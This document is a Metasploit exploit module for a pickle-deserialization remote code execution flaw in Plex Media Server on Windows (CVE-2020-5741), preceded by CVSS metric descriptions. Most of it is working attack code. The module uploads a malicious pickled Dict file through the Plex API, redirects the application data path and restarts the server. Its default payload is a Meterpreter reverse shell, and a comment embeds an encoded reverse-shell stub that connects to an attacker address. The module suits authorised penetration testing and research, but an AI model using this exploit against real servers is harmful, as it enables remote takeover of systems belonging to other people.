The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope
S
An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Plex Unpickle Dict Windows Remote Code Execution
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Plex Unpickle Dict Windows RCE',
'Description' => %q{
This module exploits an authenticated Python unsafe pickle.load of a Dict file. An authenticated attacker
can create a photo library and add arbitrary files to it. After setting the Windows only Plex variable
LocalAppDataPath to the newly created photo library, a file named Dict will be unpickled, which causes
an RCE as the user who started Plex.
Plex_Token is required, to get it you need to log-in through a web browser, then check the requests to grab
the X-Plex-Token header. See info -d for additional details.
If an exploit fails, or is cancelled, Dict is left on disk, a new ALBUM_NAME will be required
as subsuquent writes will make Dict-1, and not execute.
},
'License' => MSF_LICENSE,
'Author' =>
[
'h00die', # msf module
'Chris Lyne' # discovery, POC
],
'References' =>
[
['URL', 'https://github.com/tenable/poc/blob/master/plex/plex_media_server/auth_dict_unpickle_rce_exploit_tra_2020_32.py'],
['URL', 'https://www.tenable.com/security/research/tra-2020-32'],
['URL', 'http://support.plex.tv/articles/201105343-advanced-hidden-server-settings/'],
['URL', 'https://forums.plex.tv/t/security-regarding-cve-2020-5741/586819'],
['CVE', '2020-5741']
],
'Platform' => ['python'],
'Privileged' => false,
'Arch' => [ARCH_PYTHON],
'DefaultOptions' => {
'PAYLOAD' => 'python/meterpreter/reverse_tcp'
},
'Notes' => {
'Stability' => [CRASH_SERVICE_RESTARTS], # we reboot the server twice
'Reliability' => [REPEATABLE_SESSION, CONFIG_CHANGES], # we attempt to revert config changes
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
},
'Targets' =>
[
[ 'Automatic Target', {}]
],
'DisclosureDate' => 'May 7 2020',
'DefaultTarget' => 0
)
)
register_options(
[
Opt::RPORT(32400),
OptString.new('PLEX_TOKEN', [true, 'Admin Authenticated X-Plex-Token', '']),
OptString.new('LIBRARY_PATH', [true, 'Path to write picture library to', 'C:\\Users\\Public']),
OptString.new('ALBUM_NAME', [true, 'Name of Album', '']),
OptInt.new('REBOOT_SLEEP', [true, 'Time to wait for Plex to restart', 15])
]
)
end
def album_name
if @album_name.nil?
@album_name = datastore['ALBUM_NAME'].blank? ? rand_text_alphanumeric(6) : datastore['ALBUM_NAME']
end
@album_name
end
def create_photo_library
print_status('Adding new photo library')
res = send_request_cgi(
'method' => 'POST',
'uri' => '/library/sections',
'headers' =>
{
'X-Plex-Token' => datastore['PLEX_TOKEN'],
'Accept' => 'application/json'
},
'vars_get' =>
{
'name' => album_name,
'language' => 'en',
'agent' => 'com.plexapp.agents.none',
'location' => datastore['LIBRARY_PATH'],
'type' => 'photo',
'scanner' => 'Plex Photo Scanner'
}
)
# response:
# {"MediaContainer":{"size":1,"Directory":[{"art":"/:/resources/photo-fanart.jpg","composite":"/library/sections/-1/composite/1592441414","thumb":"/:/resources/photo.png","key":"7","type":"photo","title":"EvilLib2","agent":"com.plexapp.agents.none","scanner":"Plex Photo Scanner","language":"en","uuid":"95d3810f-8be0-497c-b6d4-170050f7ab30","updatedAt":1592441414,"createdAt":1592441414,"enableAutoPhotoTags":false,"content":true,"directory":true,"contentChangedAt":5135637678740750690,"Location":[{"id":7,"path":"C:\\Users\\Public"}]}]}}
# we need to pull ['MediaContainer']['Directory'][0]['key']
if res && res.code == 201 # 201 == Created
return res.get_json_document['MediaContainer']['Directory'][0]['key']
end
nil
end
def add_pickle(location)
print_status('Adding pickled Dict to library')
# This is the pickle code, generated on windows to ensure no cross platform
# issues were encountered
#######
# python (2.7 ships with Plex)
#######
# import pickle
#
# class EP(object):
# def __init__(self):
# pass
# def __reduce__(self):
# # for generating an approximately correct size and content, we use
# # msfvenom -p python/meterpreter/reverse_tcp LPORT=9999 LHOST=192.168.0.1
# # that payload is then added after runsource.
# # The original pre-meterp return would be
# # return (eval, ("__import__('code').InteractiveInterpreter().runsource(, '<input>', 'exec')",))
# return (eval, ("__import__('code').InteractiveInterpreter().runsource(\"exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMC4xJyw5OTk5KSkKCQlicmVhawoJZXhjZXB0OgoJCXRpbWUuc2xlZXAoNSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDoKCWQrPXMucmVjdihsLWxlbihkKSkKZXhlYyhkLHsncyc6c30pCg==')[0]))\", '<input>', 'exec')",))
#
# e = EP()
# pickle.dumps(e)
# The output from that command will look similar to the following:
# 'c__builtin__\neval\np0\n(S\'__import__(\\\'code\\\').InteractiveInterpreter().runsource("exec(__import__(\\\'base64\\\').b64decode(__import__(\\\'codecs\\\').getencoder(\\\'utf-8\\\')(\\\'aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMC4xJyw5OTk5KSkKCQlicmVhawoJZXhjZXB0OgoJCXRpbWUuc2xlZXAoNSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDoKCWQrPXMucmVjdihsLWxlbihkKSkKZXhlYyhkLHsncyc6c30pCg==\\\')[0]))", \\\'<input>\\\', \\\'exec\\\')\'\np1\ntp2\nRp3\n.'
p = %|c__builtin__\neval\np0\n(S\'|
p << %|__import__('code').InteractiveInterpreter().runsource("#{payload.encoded}", '<input>', 'exec')|.gsub("'", "\\\\'")
p << %(\'\np1\ntp2\nRp3\n.) # rubocop changed the | to ( which to not match the last 2 lines...
filename = "#{album_name}/Plex Media Server/Plug-in Support/Data/com.plexapp.system/"
u = "type=13§ionID=3&locationID=#{location}&createdAt=1171387901&filename=#{URI.encode_www_form_component(filename)}"
# using raw here because the encodings for the filename got really wacky when using CGI
res = send_request_raw(
'method' => 'POST',
'uri' => "/library/metadata?#{u}Dict",
'headers' => { 'X-Plex-Token' => datastore['PLEX_TOKEN'] },
'ctype' => 'application/octet-stream',
'data' => p
)
if res && res.code == 401
fail_with(Failure::UnexpectedReply, 'Permission denied when attempting to upload file. Plex server may not be registered to an account or you lack permission.')
delete_photo_library(location)
return false
end
# Deleting the file (even with a PrependFork) tended to kill the session or make it unreliable
# register_file_for_cleanup("#{datastore['LIBRARY_PATH']}\\#{filename.gsub('/', '\\\\')}Dict")
if res && res.code == 401
fail_with(Failure::UnexpectedReply, 'Permission denied when attempting to upload file. Plex server may not be registered to an account or you lack permission.')
delete_photo_library(location)
return false
end
true
end
def change_apppath(path)
print_status('Changing AppPath')
send_request_cgi(
'method' => 'PUT',
'uri' => '/:/prefs',
'vars_get' =>
{
'X-Plex-Token' => datastore['PLEX_TOKEN'],
'LocalAppDataPath' => path
}
)
end
def restart_plex
print_status('Restarting Plex')
send_request_cgi(
'method' => 'GET',
'uri' => '/:/plugins/com.plexapp.system/restart',
'vars_get' =>
{
'X-Plex-Token' => datastore['PLEX_TOKEN']
}
)
end
def delete_photo_library(library)
print_status('Deleting Photo Library')
send_request_cgi(
'method' => 'DELETE',
'uri' => "/library/sections/#{library}",
'vars_get' =>
{
'X-Plex-Token' => datastore['PLEX_TOKEN']
}
)
end
def ret_server_info
print_status('Gathering Plex Config')
res = send_request_cgi(
'uri' => '/',
'headers' => { 'X-Plex-Token' => datastore['PLEX_TOKEN'] }
)
unless res && res.code == 200
return nil
end
return Hash.from_xml(res.body)
end
def check
server = ret_server_info
if server.nil?
return CheckCode::Safe('Could not connect to the web service, check URI Path and IP')
end
store_loot('plex.json', 'application/json', datastore['RHOST'], server.to_s, 'plex.json', 'Plex Server Configuration')
report_host({
host: datastore['RHOST'],
os_name: server['MediaContainer']['platform'],
os_flavor: server['MediaContainer']['platformVersion']
})
print_status("Server Name: #{server['MediaContainer']['friendlyName']}")
unless server['MediaContainer']['platform'] == 'Windows'
print_bad("Server OS: #{server['MediaContainer']['platform']} (#{server['MediaContainer']['platformVersion']})")
return CheckCode::Safe('Only Windows OS is exploitable')
end
print_good("Server OS: #{server['MediaContainer']['platform']} (#{server['MediaContainer']['platformVersion']})")
v = Gem::Version.new(server['MediaContainer']['version'])
if v >= Gem::Version.new('1.19.3')
print_bad("Server Version: #{v}")
return CheckCode::Safe('Only < 1.19.3 is exploitable')
end
print_good("Server Version: #{server['MediaContainer']['version']}")
unless server['MediaContainer']['allowCameraUpload']
print_bad("Camera Upload: #{server['MediaContainer']['allowCameraUpload']}")
return CheckCode::Safe('Camera Upload not enabled')
end
print_good("Camera Upload: #{server['MediaContainer']['allowCameraUpload']}")
CheckCode::Vulnerable
end
def exploit
if datastore['PLEX_TOKEN'].blank?
fail_with(Failure::BadConfig, 'PLEX_TOKEN is required.')
end
unless check == CheckCode::Vulnerable
fail_with(Failure::NotVulnerable, 'Server not vulnerable')
end
print_status("Using album name: #{album_name}")
id = create_photo_library
if id.nil?
fail_with(Failure::UnexpectedReply, 'Unable to create photo library, possible permission problem')
end
print_good("Created Photo Library: #{id}")
success = add_pickle(id)
unless success
fail_with(Failure::UnexpectedReply, 'Unable to upload files to library')
end
change_apppath("#{datastore['LIBRARY_PATH']}\\#{album_name}")
restart_plex
print_status("Sleeping #{datastore['REBOOT_SLEEP']} seconds for server restart")
Rex.sleep(datastore['REBOOT_SLEEP'])
print_status('Cleanup Phase: Reverting changes from exploitation')
change_apppath('')
restart_plex
delete_photo_library(id)
end
end
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